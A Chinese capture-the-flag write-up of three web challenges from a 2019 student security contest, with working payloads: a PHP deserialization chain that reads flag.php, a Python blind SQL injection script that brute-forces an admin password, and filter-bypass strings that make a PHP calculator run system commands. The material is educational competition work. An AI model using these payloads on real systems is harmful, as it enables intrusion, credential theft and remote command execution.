国赛mysql加固_2019 全国大学生信息安全竞赛创新能力实践赛3道Web Writeup

原创

weixin_40003283 于 2021-02-01 23:39:31 发布 152 收藏
文章标签： 国赛mysql加固

0x01 JustSoso

本题的主要知识点在于反序列化的应用和parse_url()函数的解析问题，首先通过网页源码中的文件读取提示读取得到index.php文件源码和hint文件源码，任意文件读取就不做介绍了。

index.php

```
error_reporting(0);

$file = $_GET["file"];

$payload = $_GET["payload"];

if(!isset($file)){

echo 'Missing parameter.'
';

}

if(preg_match("/flag/",$file)){

die('hack attacked!!!');

}

@include($file);

print_r($payload);

if(isset($payload)){

$url = parse_url($_SERVER['REQUEST_URI']);

parse_str($url['query'],$query);

foreach($query as $value){

if (preg_match("/flag/",$value)) {

die('stop hacking!');

exit();

}

}
```

```
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
```

hint.php

```
class Handle
{
private $handle;
public function __wakeup()
{
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle)
{
$this->handle = $handle;
}
public function __destruct()
{
$this->handle->getFlag();
}
}
class Flag
{
public $file;
public $token;
public $token_flag;
public function __construct($file)
```

```
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1, 10000));
}
public function getFlag()
{
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
}
?>
```

在index.php中的反序列化函数unserialize()加上hint.php文件，很显然是通过反序列化的方式来读取flag.php文件，先不看unserialize()前的过滤规则，对hint.php进行序列化构造。而在hint.php文件中，主要触发echo @highlight_file($this->file, true)，而触发要解决的主要是 $this->token == $this->token_flag的问题，实例化Handle后，$handle是可控的，并且类Handle中的魔术方法__destruct会触发Flag类中的getFlag()函数所以我们只需要利用$handle来给Flag类中的变量赋值即可。而对于token和token_flag值的比较，可以采用引用的方法进行绕过，即$this->token = &$this->token_flag;所以最终构造为：

```
class Handle
{
private $handle;
public function __wakeup()
{
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle)
{
```

```
$this->handle = $handle;
}
public function __destruct()
{
$this->handle->getFlag();
}
}
class Flag
{
public $file;
public $token;
public $token_flag;
public function __construct($file)
{
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1, 10000));
}
public function getFlag()
{
$this->token_flag = md5(rand(1, 10000));
if ($this->token === $this->token_flag) {
if (isset($this->file)) {
echo @highlight_file($this->file, true);
}
}
}
}
$Flag = new Flag();
$Flag->file = "flag.php";
$Flag->token = &$Flag->token_flag;
$test = new Handle($Flag);
```

echo urlencode(serialize($test));

?>

生成序列化数据，由于序列化后有不可见字符，所以利用urlencode函数进行编码输出为

O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22

本地测试成功后，接下来就是绕过index.php文件中的过滤代码：

index.php

flag

FLAG值：

flag{7e4d5d48-44a9-4a91-b6aa-bd6b659d1bde}

0x02 全宇宙最简单的SQL

既然是SQL注入，那么首先肯定是先查看注入点，fuzz发现过滤or、if等，并且能够判断当我们输入的payload能够拼接出的SQL语句执行成功时，网页返回的是“登陆失败”，而当拼接出的SQL语句执行错误时，网页返回“数据库操作失败”

所以，使用pow函数以及&&构造sql语句进行判断

a' && 1=1 && pow(9.99999999)

a' && 1=2 && pow(9.99999999)

当前面的判断条件为假时，数据库就不会执行后面的pow函数，否则就会执行，当pow参数为pow(9,99999999)时，就会因为数字过大而报错，于是利用这一点构造注入语句对数据库名进行暴破

数据库名

得到的数据库名为ctf，然后由于or被过滤，无法查看information_schema，但是可以猜出表名为user，测试后确定用户名为admin，所以既然不能够直接爆出flag那就暴破出密码登入进行查看，构造脚本进行爆破

#coding=UTF-8

import requests

result = ''

url = 'http://728b6208b313404eba7b7712cc1c3aa203c6e16dcc7a4425.changame.ichunqiu.com/'

#payload = 'no=1 or if((ascii(substr(({sql}),{list},1))={num}),1,0)'

#payload = '"a' and ascii(mid({sql},{list},1))={num} and pow(9,9999999999)#"'

payload = "a' && (select * from ctf.user limit 1) > ('admin','{password}') && pow(9,9999999999)#"

#cookies = {'PHPSESSID':'15lkeifat78j9p81p7k0igq7n2'}

```
password = ''

for i in xrange(1,50):

for j in xrange(32,126):

#hh = payload.format(sql='database()',list=str(i),num=str(j)) #ctf

hh = payload.format(password = str(password + chr(j))) #ctf

#hh = payload.format(sql='select count(*) from information_schema.tables',list=str(i),num=str(j))

#hh = payload.format(sql="select table_name from information_schema.tables where table_schema='ctf'",list=str(i),num=str(j))

#hh = payload.format(sql='select * from ctf.f14g',list=str(i),num=str(j))

print hh

data = {'username':hh,'password':'123'}

#print hh

try:

zz = requests.post(url,data=data)

#print zz.content

if '数据库操作失败' in zz.content:

pass

else:

password += chr(j-1)

print password

break

except:

continue
```

password

但是这中写法是判断不出大小写的，尝试修改判断大小写后，爆出密码为：F1AG@1s-at_/fll1llag_h3r3，使用用户名密码登陆进去竟然还有一层

登入后页面

看到这个“你可以在这里对远程数据库进行操作”，于是想到最近的一个mysql的安全问题：Rogue-MySql-Server，并且最近的DDCTF也出了这个问题的题目。并且github上mysqlserver伪造的项目：https://github.com/Gifts/Rogue-MySql-Server，在vps上跑脚本即可，并且上面得到的密码也有暗示，flag在文件fll1llag_h3r3中，查看下mysql.log。

flag

FLAG值：

flag{3f4abe8b-aa4a-bb48-c2f9f04d045beade}

0x02 love math

这题真的做了一天，到最后这题只有50多分了，真的是在下老了。

最开始发现可以计算还以为以为是SSTI.....，查看网页源码可以拿到calc.php文件的源码：

```
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
```

```
}

}

//帮你算出答案

eval('echo '.$content.';');

}
```

反正该ban的都ban了，也就是没法直接绕过正则，这题的意思就很明显了，就是需要应用给的math函数来进行构造，函数内的参数不可出现一些特殊字符和英文字符，查看官方文档可以发现base_convert可以进行2到36进制间的转换，所以最开始的思路是利用base_convert将payload进行进制转化，即转换为自由数字的字符串就行，即可构造出任意函数，构造system(ls)进行测试。

利用payload：base_convert(1751504350,10,36)(base_convert(784,10,36))，列出/html/根目录，看到目录列出来的时候大喜，感觉一血就在眼前，然后gg了。

由于特殊字符无法进行36进制和10进制间的转换，所以想要直接按前面的payload构造system(cat f*)是不可能的，后来是将exec(cat f*)中的‘cat f*’转换为16进制，再转换为10进制，利用dechex函数和hex2bin函数进行还原，hex2bin利用base_convert转换为10进制，就这个地方卡死了，因为80位长度的限制，我最短也就构造了81位，真的是难受。

刚好之前有接触过rand^(x).(x)的操作，通过异或可以构造出大写英文字符，所以想着能不能拼接一个$_GET或者$_POST出来，就不要考虑代码里的限制了，最终利用rand^(7).(5)构造出了’ET’，用is_nan^(6).(4)构造出了’_G’,在拼接起来就构造出了_GET，思路就是将$content构造为$_GET[a]($_GET[b]),a参数构造为system函数，b参数当作system函数的参数，即可绕过限制，执行任意命令。关键是将_GET构造成$_GET函数，在本地配置测试环境

注释代码进行测试

本地测试环境

所以接下主要要解决的就是构造$_GET，正则上不会过滤MATH函数名、大括号等，所以可以利用这点用来构造变量覆盖来从而构造payload，其中中括号[]可以用大括号替代，最终构造：$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh})，即$cos=’_GET’,$$cos覆盖后为$_GET,所以通过变量覆盖后最终为$_GET{atan}($_GET{atanh}),所以直接给参数atan和atanh赋值，可以实现任意代码执行，最终构造：2333333;$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh})&atan=system&atanh=cat flag.php，其中2333333;用于闭合echo，不过不闭合也可以的，便可得到flag。

后来继续测试了一下，发现利用exec(nl *)进行缩短竟然可以缩到79位(吐血)！！！.....这里直接贴缩的payload：base_convert(47138,20,36)(base_convert(1438255411,14,34)(dechex(474260465194)))，其中hex2bin进行14/34进制的转换，exec进行20/36进制的转换就可以达到79位。

这道题的解法比较多，比如在构造$cos=(is_nan^(6).(4)).(rand^(7).(5));$$cos{atan}($$cos{atanh})时，$$cos{atan}可以直接利用base_convert函数将system或者eval进行10/36进制转换进行利用。

如果没有过滤反引号，其实会简单很多，可以参考P神的：无字母数字Webshell之提高篇闭合前一段<?php ，利用<?=开辟代码，通过``. /???/???/????/????.????``来打印文件内容，详细的可以本地测试调试不做过多说明。

FLAG值：

flag{86fed0d1-42ec-46ba-83ee-7dedd09303fb}

0x03 RefSpace

路走错了，跑去逆向文件了。这个还是等大佬的wp了

个人觉得Web没那么简单，被刷到两位数的分有点意外到，不多说。